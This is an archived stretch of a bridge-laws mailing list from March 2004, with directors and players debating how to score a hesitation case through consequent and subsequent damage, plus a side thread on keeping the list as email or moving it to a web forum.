I think Eric's comments merit intensive and careful reading.  = Coming=20 up with nice packaged ways of handling rulings maybe desirable, and the = examples=20 always somehow seem to completely fit the postures taken, but are = fraught=20 with dangers.  What was the "normal" result for the bidding at this = table=20 BY THESE PLAYERS, AT THIS TIME?  Was it 5 spades, or was it 5 clubs = doubled=20 (as would be the opinion of those who strongly favor to give full value = to all=20 that happened right up to before the wheels fell off and an infraction=20 occurred)? Where did the idea come from that 5 spades is the "normal"=20 result? (Are there still people out there that think that the = infraction is=20 the governing hesitation?) Caution, please. I understand the desire to = have=20 recipes and escape from having to use judgment, but that isn't what a = TDs job=20 consists of.
 
 
Sent: Tuesday, March 02, 2004 = 5:39=20 PM
Subject: Re: [blml] another = pausey=20 one

At 07:25 AM 3/2/04, Ton wrote:

>In the TD = course=20 organized by the EBL some weeks ago we have taught
>our = TD's
>to=20 handle this in the following way.
>
>1)There is a normal = result=20 without the infraction (playing 5 spades and
>making = 6).
>2)There=20 is  normal result after the infraction (being 6 spades just=20 made)
>3)There is the result at the table after the (let us = assume wild=20 gambling)
>double.
>
>The difference between 1) and = 2) is=20 consequent damage and the difference
>between 2) and 3) is = subsequent=20 damage. There should be redress for the
>consequent part and no = redress=20 for the subsequent part.
>
>So, if the result at the other = table=20 is 6spades just made the offenders
>get - 13 imps (+ 680 - 1430) = and the=20 others with a table result of - 6
>imps
>(+1430 - 1660) = are=20 compensated for those 13 imps they lost as a =
>consequence
>of the=20 infraction, giving them + 7 imps. The 6 imps between the +13 =
>and +=20 7
>represent the subsequent damage as a result of the=20 double.
>
>I invite you to introduce this approach  = in your=20 jurisdiction. And it is
>another example for those who were in = Torino (I=20 just read that Anne Jones
>has some problems with this = calculation and I=20 understand that)

This is a very sensible approach.  But if = it's=20 going to be written down
officially somewhere, whoever writes the = text=20 should be very careful
with the wording.

*All* of the = damage in=20 Ton's example is "subsequent" (to the
infraction).  Only the=20 difference between 1 and 2 is "consequent" (to
the = infraction).  The=20 difference between 2 and 3 might be called
"non-consequent" (to = the=20 infraction).

There normally *should* be redress for *all* of = the=20 subsequent damage,
including the non-consequent component.  = Redress=20 for the damage that is
non-consequent to the infraction is denied = *only*=20 if it *is* consequent
to an egregious error (ACBL), or irrational, = wild or=20 gambling action
(Europe & elsewhere), by the NOS.  That = is *not*=20 the usual case, and
this needs to be emphasized.  We do not = want TDs=20 and ACs to refuse
redress for non-consequent damage caused by = ordinary=20 errors, even gross
ones, or simply poor choices of action, even = very poor=20 ones.


Eric=20 = Landau           &= nbsp;        =20 ehaa@starpower.net
1107 Dale = = Drive           &n= bsp;    =20 (301) 608-0347
Silver Spring MD 20910-1607=20


_______________________________________________
blml = mailing=20 list
blml@rtflb.org
http://www.ams= terdamned.org/mailman/listinfo/blml
------=_NextPart_000_0023_01C40084.1D9A48B0-- From Frances.Hinden@Shell.com Wed Mar 3 09:43:24 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 3 Mar 2004 09:43:24 -0000 Subject: [blml] Consequent/Subsequent damage (was: another pausey one) Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1721@lonsc-s-031.europe.shell.com> > > Playing last night in a teams match I was on an appeals group over = this one > > > > E/W Vul dealer W > > > > S xx > > H KJTxxxx > > D Kx > > C xx > > > > S Qxxx S AKJx > > H x H Axx > > D Qxxxx D AT9xx > > C AQx C x > > > > S xxx > > H Qx > > D J > > C KJT9xxx > > > > Bidding > > W N E S > > P 3H DBL 4C > > 4S P 4NT 5C > > DBL* P 5S** P > > 6S Dbl all pass > > > > Result 6S making 1660 > > ** Pause established > I would agree with your AC ruling here, except that I would give N/S = the > result that they earned at the table. > > Regards, > > Jack In the TD course organized by the EBL some weeks ago we have taught our = TD's to handle this in the following way. 1)There is a normal result without the infraction (playing 5 spades and making 6). 2)There is normal result after the infraction (being 6 spades just = made) 3)There is the result at the table after the (let us assume wild = gambling) double. The difference between 1) and 2) is consequent damage and the difference between 2) and 3) is subsequent damage. There should be redress for the consequent part and no redress for the subsequent part. So, if the result at the other table is 6spades just made the offenders get - 13 imps (+ 680 - 1430) and the others with a table result of - 6 = imps (+1430 - 1660) are compensated for those 13 imps they lost as a = consequence of the infraction, giving them + 7 imps. The 6 imps between the +13 and = + 7 represent the subsequent damage as a result of the double. I invite you to introduce this approach in your jurisdiction. And it is another example for those who were in Torino (I just read that Anne = Jones has some problems with this calculation and I understand that) ton [Frances] Some observations - This is a nice methodology which is completely logical, though I have not seen it before. I will cite you as an authority the first time I = use it here (which probably won't be for a long time, as it's a fairly rare circumstance). However, - Unlike other adjusted scores, calculating the magnitude of the damage depends on the result at the other table, or tables. Usually one decides what the score (or scores) at this table should be, weighted = using 12C3 or not, and then works out the imp effects. Here you decide what the non-consequential subsequent damage is by reference to what has = happened elsewhere. Fair enough for a straight team-of-four match, but - what do you do at matchpointed (or Butlered) pairs? Look at the = traveller?=20 (and that would be the first time I've seen rulings based on what has = happened at other tables in mp pairs) - what do you do at point a board (board-a-match)? If they made 6S at the other table is the board won by NS (5S+1), lost (6Sx) or what? From gesta@tiscali.co.uk Wed Mar 3 09:57:16 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 3 Mar 2004 09:57:16 -0000 Subject: [blml] is this valid? References: <6C60E0294337E84EBE5B198747277FA93642BC@MAIL.fc.up.pt> Message-ID: <003d01c40108$e5b77c30$55ee403e@multivisionoem> Grattan Endicott To: ; Sent: Tuesday, March 02, 2004 10:22 AM Subject: RE: [blml] is this valid? > On the available information, Sven's ruling is, in > my opinion, premature. In my opinion, an accurate > ruling can only be made *after* a further TD > investigation of the East-West partnership history. 'History' can be a brief one. In a European Championship, a friend of mine had in his convention card "2D: Multi, 5-10 hcp" Then he bid 2D with 4 points, 1st seat. Opponents summoned director. Result stands, friend was given a warning. Later on, he did it again with 4 points. Director summoned again. Automatic adjustment. Friend appealed. Deposit forfeited :) +=+ I do not recall such a case. However, the AC would recognize that the Director had acted within his powers. It is such a fresh, unfaded kind of memory that the WBF CoP has in mind when it allows that a relevant history may be of a single previous occasion. ~ G ~ +=+ From blml@blakjak.com Wed Mar 3 11:49:55 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 3 Mar 2004 11:49:55 +0000 Subject: [blml] is this valid? In-Reply-To: <003d01c40108$e5b77c30$55ee403e@multivisionoem> References: <6C60E0294337E84EBE5B198747277FA93642BC@MAIL.fc.up.pt> <003d01c40108$e5b77c30$55ee403e@multivisionoem> Message-ID: attributions not quoted by earlier message >'History' can be a brief one. In a European Championship, >a friend of mine had in his convention card > >"2D: Multi, 5-10 hcp" > >Then he bid 2D with 4 points, 1st seat. Opponents >summoned director. Result stands, friend was given a >warning. > >Later on, he did it again with 4 points. Director >summoned again. Automatic adjustment. Friend appealed. >Deposit forfeited :) >+=+ I do not recall such a case. However, the AC would >recognize that the Director had acted within his powers. >It is such a fresh, unfaded kind of memory that the WBF >CoP has in mind when it allows that a relevant history may >be of a single previous occasion. ~ G ~ +=+ The doubt seems ot be because both were mild deviations, not whether a single case constitutes history. If a player opens 1H third in hand on 2 HCP and three hearts, and says he often [usually] does because it is the HDW system, then the fact that he did so previously in the tournament is relevant history, yes. But a mild deviation is a mild deviation, and the fact that a player has made another mild deviation earlier in the tournament seems of little moment. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 3 11:51:23 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 3 Mar 2004 11:51:23 +0000 Subject: [blml] Re: copied from RGB (David S) In-Reply-To: <001801c4005c$87cdf6f0$5caea5d5@Mario> References: <001801c4005c$87cdf6f0$5caea5d5@Mario> Message-ID: Mario Dix wrote > >Assume that the only way that you can have lost just 100 when losing 5 >tricks in a dbled vul contract, without assigned or adjusted score, was >that you got one trick back for a latish revoke and that you were >playing rubber or Chicago where u also got 100 honours (net score -100)? No, no honours, no revokes, doubler's partner took the double out to an insufficient 2S. Now this player [having been doubled in 4H] bid a cautious 3H and played there. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 3 11:58:30 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 3 Mar 2004 11:58:30 +0000 Subject: [blml] Consequent/Subsequent damage (was: another pausey one) In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1721@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1721@lonsc-s-031.europe.shell.com> Message-ID: <5FaxtprmhcRAFwV5@blakjak.demon.co.uk> Hinden, Frances SI-PXS wrote >- Unlike other adjusted scores, calculating the magnitude of the >damage depends on the result at the other table, or tables. Usually one >decides what the score (or scores) at this table should be, weighted using >12C3 or not, and then works out the imp effects. Here you decide what >the non-consequential subsequent damage is by reference to what has happened >elsewhere. Fair enough for a straight team-of-four match, but > >- what do you do at matchpointed (or Butlered) pairs? Look at the traveller? >(and that would be the first time I've seen rulings based on what has >happened at >other tables in mp pairs) > >- what do you do at point a board (board-a-match)? If they made 6S at >the other table is the board won by NS (5S+1), lost (6Sx) or what? Rulings do not depend on what happened at other tables. Deciding a normal result is the job of the TD/AC without looking at what happened elsewhere. Suppose you are running a 60 table pairs. One table bids 1NT P 3NT ...P P P and the opening leader responds to his partners hesitation by a very successful lead from Kx. Then something happens that kicks in a split score, and you want to know the 'normal' result. If you look at the score sheets you find 3NT -2 at all 59 other tables. Is that the 'normal result'? No: this was the only table where a strong 1NT was played. Every other table gave fourth hand a chance to bid at the two-level, or to lead against 3NT. So the 'normal' result for this table is 3NT +1 which is what you get without the correct lead. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From henk@ripe.net Wed Mar 3 12:12:51 2004 From: henk@ripe.net (Henk Uijterwaal (RIPE NCC)) Date: Wed, 3 Mar 2004 13:12:51 +0100 (CET) Subject: [blml] Consequent/Subsequent damage (was: another pausey one) In-Reply-To: <5FaxtprmhcRAFwV5@blakjak.demon.co.uk> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1721@lonsc-s-031.europe.shell.com> <5FaxtprmhcRAFwV5@blakjak.demon.co.uk> Message-ID: On Wed, 3 Mar 2004, David Stevenson wrote: > Hinden, Frances SI-PXS wrote > > >- what do you do at matchpointed (or Butlered) pairs? Look at the > >traveller? (and that would be the first time I've seen rulings based on > >what has happened at other tables in mp pairs) Look at the other results, and no, this is not a ruling based on another table: one determines what is normal based on the results at this table, then only use the traveller to determine the matchpoints. Henk ------------------------------------------------------------------------------ Henk Uijterwaal Email: henk.uijterwaal(at)ripe.net RIPE Network Coordination Centre http://www.amsterdamned.org/~henk P.O.Box 10096 Singel 258 Phone: +31.20.5354414 1001 EB Amsterdam 1016 AB Amsterdam Fax: +31.20.5354445 The Netherlands The Netherlands Mobile: +31.6.55861746 ------------------------------------------------------------------------------ Process and Procedure are the last hiding place of people without the wit and wisdom to do their job properly. (David Brent). From hermandw@hdw.be Wed Mar 3 13:22:03 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 03 Mar 2004 14:22:03 +0100 Subject: [blml] testing Message-ID: <4045DBFB.4060604@hdw.be> last week a few of my mails bounced back. this week, no posts. Extraordinarily quiet? or did I get thrown off blml? -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Wed Mar 3 13:24:05 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 3 Mar 2004 14:24:05 +0100 Subject: [blml] Consequent/Subsequent damage (was: another pausey one) References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1721@lonsc-s-031.europe.shell.com> Message-ID: <018001c40122$d0eb8bb0$3bebf1c3@LNV> [Frances] Some observations - This is a nice methodology which is completely logical, though I have not seen it before. I will cite you as an authority the first time I use it here (which probably won't be for a long time, as it's a fairly rare circumstance). However, - Unlike other adjusted scores, calculating the magnitude of the damage depends on the result at the other table, or tables. Usually one decides what the score (or scores) at this table should be, weighted using 12C3 or not, and then works out the imp effects. Here you decide what the non-consequential subsequent damage is by reference to what has happened elsewhere. &&& This seems a wrong distinction to me. The scores to work with are just depending on the developments at this one table. And only after having established those the calculation in imps starts for which the use of the result at the other table is inevitable. This is not new.When in a teams match the TD decides to award a weighted score the same is done. &&& Fair enough for a straight team-of-four match, but - what do you do at matchpointed (or Butlered) pairs? &&& Yes, but only after having decided the (normal) adjusted score and in case of a wild action by the non-offenders the expected score after the infraction. &&& Look at the traveller? (and that would be the first time I've seen rulings based on what has happened at other tables in mp pairs) &&& not the rulings, the calculation - what do you do at point a board (board-a-match)? If they made 6S at the other table is the board won by NS (5S+1), lost (6Sx) or what? &&& The idea is just the same. Partners make 6spades. The normal result wins 2 points. The normal result after the infraction wins 1 point. Consequent damage 1 point. Subsequent damage caused by the double 1 point, not compensated. And the opponenets get 0 points of course. &&& ton _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From john@asimere.com Wed Mar 3 14:42:02 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 3 Mar 2004 14:42:02 +0000 Subject: [blml] Should you point out infractions? In-Reply-To: <000001c400a3$49935c80$6900a8c0@WINXP> References: <3E288C33-6C60-11D8-9281-0030656F6826@rochester.rr.com> <000001c400a3$49935c80$6900a8c0@WINXP> Message-ID: <7Dz$sEB66eRAFwUA@asimere.com> In article <000001c400a3$49935c80$6900a8c0@WINXP>, Sven Pran writes >> > Thank you Sven. Where in the laws does it say that? >Ed Reppert: >> Law 11A. > >No, I am not so sure that law applies - but well, it just might? > >It says "before summoning the Director", it does not directly address the >player who aware of an irregularity fails to call attention to it until >later and then claims damage. > >However, to me this is splitting hairs; if I find that a non-offending side >has contributed to their own damage I just do not give them redress for that >part of it. Oooh! That opens another can of worms :) john > >Regards Sven > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Wed Mar 3 14:48:30 2004 From: john@asimere.com (John (MadDog) Probst) Date: Wed, 3 Mar 2004 14:48:30 +0000 Subject: [blml] testing In-Reply-To: <4045DBFB.4060604@hdw.be> References: <4045DBFB.4060604@hdw.be> Message-ID: In article <4045DBFB.4060604@hdw.be>, Herman De Wael writes >last week a few of my mails bounced back. >this week, no posts. >Extraordinarily quiet? or did I get thrown off blml? No herman, you are here, loud and clear :) john -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From rui.mlmarques@netvisao.pt Wed Mar 3 15:08:19 2004 From: rui.mlmarques@netvisao.pt (Rui Marques) Date: Wed, 3 Mar 2004 15:08:19 -0000 Subject: [blml] Mailing list or forum? In-Reply-To: <018001c40122$d0eb8bb0$3bebf1c3@LNV> Message-ID: <000001c40131$5fd3ae30$0201a8c0@rui> Hi all. Just wanted to get some feed back on this subject. Would it be better to keep this as a mailing list, with the problems that sometimes arise with all the "mail bandits" out there, or to convert it to a web forum? Rui Marques From toddz@att.net Wed Mar 3 15:39:58 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 03 Mar 2004 10:39:58 -0500 Subject: [blml] another pausey one In-Reply-To: References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> Message-ID: <6.0.1.1.1.20040303103840.01b3ce98@postoffice.worldnet.att.net> At 06:28 PM 3/2/2004, WILLIAM SCHODER wrote: >(Are there still people out there that think that the infraction is the >governing hesitation?) Without a doubt in my mind, yes. -Todd From toddz@att.net Wed Mar 3 15:44:30 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Wed, 03 Mar 2004 10:44:30 -0500 Subject: [blml] Mailing list or forum? In-Reply-To: <000001c40131$5fd3ae30$0201a8c0@rui> References: <018001c40122$d0eb8bb0$3bebf1c3@LNV> <000001c40131$5fd3ae30$0201a8c0@rui> Message-ID: <6.0.1.1.1.20040303104139.01bf2898@postoffice.worldnet.att.net> At 10:08 AM 3/3/2004, Rui Marques wrote: >Hi all. Just wanted to get some feed back on this subject. Would it be >better to keep this as a mailing list, with the problems that sometimes >arise with all the "mail bandits" out there, or to convert it to a web >forum? Since we still seem relatively unaffected by spam and worms, nothing really beats the convenience of e-mail. -Todd From nsousa@fc.up.pt Wed Mar 3 15:30:51 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Wed, 3 Mar 2004 15:30:51 -0000 Subject: [blml] Mailing list or forum? Message-ID: <6C60E0294337E84EBE5B198747277FA93642C7@MAIL.fc.up.pt> I would prefer a forum. -----Original Message----- From: blml-admin@rtflb.org on behalf of Rui Marques Sent: Wed 3/3/2004 3:08 PM To: blml@rtflb.org Cc:=09 Subject: [blml] Mailing list or forum? Hi all. Just wanted to get some feed back on this subject. Would it be better to keep this as a mailing list, with the problems that sometimes arise with all the "mail bandits" out there, or to convert it to a web forum? Rui Marques _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From ereppert@rochester.rr.com Wed Mar 3 19:02:17 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Wed, 3 Mar 2004 14:02:17 -0500 Subject: [blml] Mailing list or forum? Message-ID: <7588224F-6D45-11D8-B5C3-0030656F6826@rochester.rr.com> Oops. Sorry, Rui. :-) On Wednesday, Mar 3, 2004, at 10:08 US/Eastern, Rui Marques wrote: > Hi all. Just wanted to get some feed back on this subject. Would it be > better to keep this as a mailing list, with the problems that sometimes > arise with all the "mail bandits" out there, or to convert it to a web > forum? Mailing list. From Taoist" Keep things as they are. E-mail is far more convenient. pjt. Cc: Subject: [blml] Mailing list or forum? Hi all. Just wanted to get some feed back on this subject. Would it be better to keep this as a mailing list, with the problems that sometimes arise with all the "mail bandits" out there, or to convert it to a web forum? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.607 / Virus Database: 387 - Release Date: 02/03/04 From blml@wellsborocomputing.com Wed Mar 3 21:17:48 2004 From: blml@wellsborocomputing.com (Brian Meadows) Date: Wed, 03 Mar 2004 16:17:48 -0500 Subject: [blml] Mailing list or forum? In-Reply-To: <000001c40131$5fd3ae30$0201a8c0@rui> References: <018001c40122$d0eb8bb0$3bebf1c3@LNV> <000001c40131$5fd3ae30$0201a8c0@rui> Message-ID: On Wed, 3 Mar 2004 15:08:19 -0000, you wrote: >Hi all. Just wanted to get some feed back on this subject. Would it be >better to keep this as a mailing list, with the problems that sometimes >arise with all the "mail bandits" out there, or to convert it to a web >forum? > Keep it as a mailing list, definitely. I haven't seen any significant problems with the "mail bandits" as you put it. Web forums are a pain in the backside, why force people fire up a browser and have to log on (presumably) just to see whether there are any new postings when all you have to do now is to wait for them to come into your mailer? I think you're trying to solve a non-problem. Brian. From adam@irvine.com Wed Mar 3 21:18:59 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 03 Mar 2004 13:18:59 -0800 Subject: [blml] Mailing list or forum? In-Reply-To: Your message of "Wed, 03 Mar 2004 15:08:19 GMT." <000001c40131$5fd3ae30$0201a8c0@rui> Message-ID: <200403032118.NAA18862@mailhub.irvine.com> Rui Marques wrote: > Hi all. Just wanted to get some feed back on this subject. Would it be > better to keep this as a mailing list, with the problems that sometimes > arise with all the "mail bandits" out there, or to convert it to a web > forum? I'll add my vote to keep it as a mailing list. I receive tons of spam here, and a very small percentage of it is spam that gets sent to this mailing list. So the problems with this mailing list don't seem to me like much of a problem at all. -- Adam From blml@dybdal.dk Wed Mar 3 22:37:49 2004 From: blml@dybdal.dk (Jesper Dybdal) Date: Wed, 03 Mar 2004 23:37:49 +0100 Subject: [blml] Mailing list or forum? In-Reply-To: References: <018001c40122$d0eb8bb0$3bebf1c3@LNV> <000001c40131$5fd3ae30$0201a8c0@rui> Message-ID: On Wed, 03 Mar 2004 16:17:48 -0500, Brian Meadows wrote: >Keep it as a mailing list, definitely. I haven't seen any >significant problems with the "mail bandits" as you put it.=20 > >Web forums are a pain in the backside, why force people fire up a >browser and have to log on (presumably) just to see whether there >are any new postings when all you have to do now is to wait for >them to come into your mailer?=20 I agree completely with that. Also, my mail program contains an archive of all BLML messages and provides a decent way to search them, quote them, and in general do anything I might want to do with old messages - in a much more flexible way than a web forum would typically allow. --=20 Jesper Dybdal, Denmark. http://www.dybdal.dk (in Danish). From blml@dybdal.dk Wed Mar 3 22:39:00 2004 From: blml@dybdal.dk (Jesper Dybdal) Date: Wed, 03 Mar 2004 23:39:00 +0100 Subject: [blml] Technicality: Please do not use "reply" when you post a new subject Message-ID: <8smc40108of0c2608knc5ogei02flp0931@nuser.dybdal.dk> When you post a new subject, it is not a good idea to use the "reply" function in your mail program on an existing unrelated message. Most mail programs add a header showing exactly which message the new message is a response to, and good mail programs then assume that they belong to the same thread. As an example (far from the only one, just the one that caught my eye now), Rui's message "Mailing list or forum?" and several responses to it are in my program shown nicely indented below the message by Ton with the title "Consequent/Subsequent damage (was: another pausey one)", which it was sent as a reply to, and as part of the same thread - because Rui's message contains a header which (incorrectly) indicates that it is a reply to Ton's message. In short: * When replying to an existing thread, please always use the mail program's "reply" function. * When posting on a new subject, please never use the mail program's "reply" function - use "New E-mail Message" or whatever your program calls it. Of course, it makes little difference to those who use software that cannot show the thread structure anyway. However, reading BLML is IMO very much easier if you use software that shows the thread structure. --=20 Jesper Dybdal, Denmark. http://www.dybdal.dk (in Danish). From HarrisR@missouri.edu Wed Mar 3 22:44:55 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Wed, 3 Mar 2004 16:44:55 -0600 Subject: [blml] Test-Please ignore Message-ID: Test -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From gesta@tiscali.co.uk Wed Mar 3 22:30:29 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 3 Mar 2004 22:30:29 -0000 Subject: [blml] testing References: <4045DBFB.4060604@hdw.be> Message-ID: <004101c40174$0189f8f0$74e3403e@multivisionoem> Grattan Endicott To: Sent: Wednesday, March 03, 2004 2:48 PM Subject: Re: [blml] testing > No herman, you are here, loud and clear :) > +=+ Normally loud, not always clear. +=+ From gesta@tiscali.co.uk Wed Mar 3 22:38:40 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 3 Mar 2004 22:38:40 -0000 Subject: [blml] Should you point out infractions? References: <3E288C33-6C60-11D8-9281-0030656F6826@rochester.rr.com> <000001c400a3$49935c80$6900a8c0@WINXP> <7Dz$sEB66eRAFwUA@asimere.com> Message-ID: <004201c40174$02aa8420$74e3403e@multivisionoem> Grattan Endicott To: Sent: Wednesday, March 03, 2004 2:42 PM Subject: Re: [blml] Should you point out infractions? > >However, to me this is splitting hairs; if I find that a > > non-offending side has contributed to their own > > damage I just do not give them redress for that > >part of it. > > Oooh! That opens another can of worms :) john > > +=+ At the recent TDs' seminar in San Giusto Canavese there was a quite brilliant dialogue between Ton and Herman on the subject. I would encourage subscribers to study with care anything either may write here. +=+ From t.kooyman@worldonline.nl Wed Mar 3 11:52:59 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 3 Mar 2004 12:52:59 +0100 Subject: [blml] another pausey one References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> Message-ID: <004401c40116$19450b00$3bebf1c3@LNV> This is a multi-part message in MIME format. ------=_NextPart_000_0041_01C4011E.750E61E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Kojak: I think Eric's comments merit intensive and careful reading. Coming = up with nice packaged ways of handling rulings maybe desirable, and the = examples always somehow seem to completely fit the postures taken, but = are fraught with dangers. What was the "normal" result for the bidding = at this table BY THESE PLAYERS, AT THIS TIME? Was it 5 spades, or was = it 5 clubs doubled (as would be the opinion of those who strongly favor = to give full value to all that happened right up to before the wheels = fell off and an infraction occurred)? Where did the idea come from that = 5 spades is the "normal" result? (Are there still people out there that = think that the infraction is the governing hesitation?) Caution, please. = I understand the desire to have recipes and escape from having to use = judgment, but that isn't what a TDs job consists of. %%%%%% ton: To be honest : I don't understand a word of what you say as far as = this specific case is concerned. I understood that the 5spade bid was = made out of tempo. Are you trying to say that the TD could decide not to = allow that bid? Not in the EBL. The only bid that can be challenged is = the 6Spade bid and if that is not allowed we go back to 5spades as the = adjusted score to aim at. And probably the only people that consider the hesitation to be (part = of) the infraction are found in the ACBL. My contribution showed = judgement from the beginning till the end. Whether good or wrong is = another question.=20 So what did you want to say?=20 %%%%%% ------=_NextPart_000_0041_01C4011E.750E61E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Kojak:

I think Eric's comments merit intensive and careful = reading.  Coming=20 up with nice packaged ways of handling rulings maybe desirable, and = the=20 examples always somehow seem to completely fit the postures = taken, but=20 are fraught with dangers.  What was the "normal" result for the = bidding=20 at this table BY THESE PLAYERS, AT THIS TIME?  Was it 5 spades, = or was it=20 5 clubs doubled (as would be the opinion of those who strongly favor = to give=20 full value to all that happened right up to before the wheels fell off = and an=20 infraction occurred)? Where did the idea come from that 5 spades is = the=20 "normal" result? (Are there still people out there that think = that the=20 infraction is the governing hesitation?) Caution, please. I understand = the=20 desire to have recipes and escape from having to use judgment, but = that isn't=20 what a TDs job consists of.
 
 
%%%%%%
ton:
 
To be honest : I don't understand a word of = what you say=20 as far as this specific case is concerned. I understood that the = 5spade bid=20 was made out of tempo. Are you trying to say that the TD = could=20 decide not to allow that bid? Not in the EBL. The only bid that can be = challenged is the 6Spade bid and if that is not allowed we go back to = 5spades=20 as the adjusted score to aim at.
 
And probably the only people that consider the = hesitation to be (part of) the infraction are found in=20 the ACBL. My contribution showed judgement from the beginning till the = end.=20 Whether good or wrong is another question.
 
So what did you want to say?
 
 
%%%%%%
------=_NextPart_000_0041_01C4011E.750E61E0-- From schoderb@msn.com Wed Mar 3 12:34:00 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Wed, 3 Mar 2004 07:34:00 -0500 Subject: [blml] another pausey one References: <5.2.0.9.0.20040302172235.020225d0@pop.starpower.net> <004401c40116$19450b00$3bebf1c3@LNV> Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_003F_01C400F1.E565F840 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I was under the impression that the double of 5 Clubs was made with a = distinct hesitation, not the 5 spade bid. Sorry, I read it wrong. Yet I = still would like to know how you arrived at 5 spades as the "normal" = contract on which to base your further calculations. Kojak ----- Original Message -----=20 From: Ton Kooijman=20 To: WILLIAM SCHODER ; = blml ; Eric Landau=20 Sent: Wednesday, March 03, 2004 6:52 AM Subject: Re: [blml] another pausey one Kojak: I think Eric's comments merit intensive and careful reading. Coming = up with nice packaged ways of handling rulings maybe desirable, and the = examples always somehow seem to completely fit the postures taken, but = are fraught with dangers. What was the "normal" result for the bidding = at this table BY THESE PLAYERS, AT THIS TIME? Was it 5 spades, or was = it 5 clubs doubled (as would be the opinion of those who strongly favor = to give full value to all that happened right up to before the wheels = fell off and an infraction occurred)? Where did the idea come from that = 5 spades is the "normal" result? (Are there still people out there that = think that the infraction is the governing hesitation?) Caution, please. = I understand the desire to have recipes and escape from having to use = judgment, but that isn't what a TDs job consists of. %%%%%% ton: To be honest : I don't understand a word of what you say as far as = this specific case is concerned. I understood that the 5spade bid was = made out of tempo. Are you trying to say that the TD could decide not to = allow that bid? Not in the EBL. The only bid that can be challenged is = the 6Spade bid and if that is not allowed we go back to 5spades as the = adjusted score to aim at. And probably the only people that consider the hesitation to be = (part of) the infraction are found in the ACBL. My contribution showed = judgement from the beginning till the end. Whether good or wrong is = another question.=20 So what did you want to say?=20 %%%%%% ------=_NextPart_000_003F_01C400F1.E565F840 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I was under the impression that the double of 5 Clubs was made with = a=20 distinct hesitation, not the 5 spade bid.  Sorry, I read it wrong. = Yet I=20 still would like to know how you arrived at 5 spades as the "normal" = contract on=20 which to base your further calculations.
 
Kojak
----- Original Message -----
From: Ton Kooijman
To: WILLIAM SCHODER ; blml = ; Eric=20 Landau
Sent: Wednesday, March 03, 2004 = 6:52=20 AM
Subject: Re: [blml] another = pausey=20 one

Kojak:

I think Eric's comments merit intensive and careful = reading. =20 Coming up with nice packaged ways of handling rulings maybe = desirable, and=20 the examples always somehow seem to completely fit the postures = taken,=20 but are fraught with dangers.  What was the "normal" result for = the=20 bidding at this table BY THESE PLAYERS, AT THIS TIME?  Was it 5 = spades,=20 or was it 5 clubs doubled (as would be the opinion of those who = strongly=20 favor to give full value to all that happened right up to before the = wheels=20 fell off and an infraction occurred)? Where did the idea come from = that 5=20 spades is the "normal" result? (Are there still people out = there that=20 think that the infraction is the governing hesitation?) Caution, = please. I=20 understand the desire to have recipes and escape from having to use=20 judgment, but that isn't what a TDs job consists of.
 
 
%%%%%%
ton:
 
